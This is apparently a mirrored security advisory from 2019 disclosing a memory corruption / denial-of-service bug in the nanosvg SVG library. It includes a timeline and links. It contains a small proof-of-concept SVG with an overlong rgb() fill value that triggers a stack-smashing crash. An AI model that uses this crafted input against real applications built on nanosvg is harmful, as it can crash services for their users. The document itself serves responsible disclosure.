Lucene search
K

SVG nanosvg Library Memory Corruption / Denial Of Service

🗓️ 26 Feb 2019 00:00:00Reported by Sebastian NeefType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 50 Views

SVG nanosvg library memory corruption leads to denial of servic

Related
Code
ReporterTitlePublishedViews
Family
EUVD
EUVD-2019-2000
7 Oct 202500:30
euvd
Prion
Memory corruption
15 May 201918:29
prion
`The SVG library nanosvg [0] suffers from a memory corruption bug that can lead to at least DoS.   
  
The bug exists in the `nsvg__parseColorRGB` function, which can be reached by parsing a malicious SVG file through `nsvgParseFromFile` or `nsvgParse`. This should also affect libraries/packages that provide bindings to nanosvg, for example:  
  
- Lua: https://github.com/iongion/lunavg  
- Python: https://github.com/ethanhs/pynanosvg  
- Java: https://javalibs.com/artifact/org.lwjgl/lwjgl-nanovg  
- Rust: https://crates.rs/crates/nsvg  
  
More information available in the issue [1] and the blogpost [2].  
  
# PoC   
  
> <svg>  
> <circle fill="rgb(0%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%)"/>  
> </svg>  
  
> $> ./test poc.svg  
> *** stack smashing detected ***: <unknown> terminated  
> fish: a./test poc.svga terminated by signal SIGABRT (Abort)  
  
# Timeline   
- Late 2018 bug discovered by Sebastian Neef using AFL  
- 16th Nov 2018 opened issue [1]  
- 19th Feb 2019 CVE assigned by DWF  
- 24th Feb 2019 blogpost [2] and email published  
  
  
[0] https://github.com/memononen/nanosvg  
[1] https://github.com/memononen/nanosvg/issues/136  
[2] https://0day.work/cve-2019-1000032-memory-corruption-in-nanosvg/  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation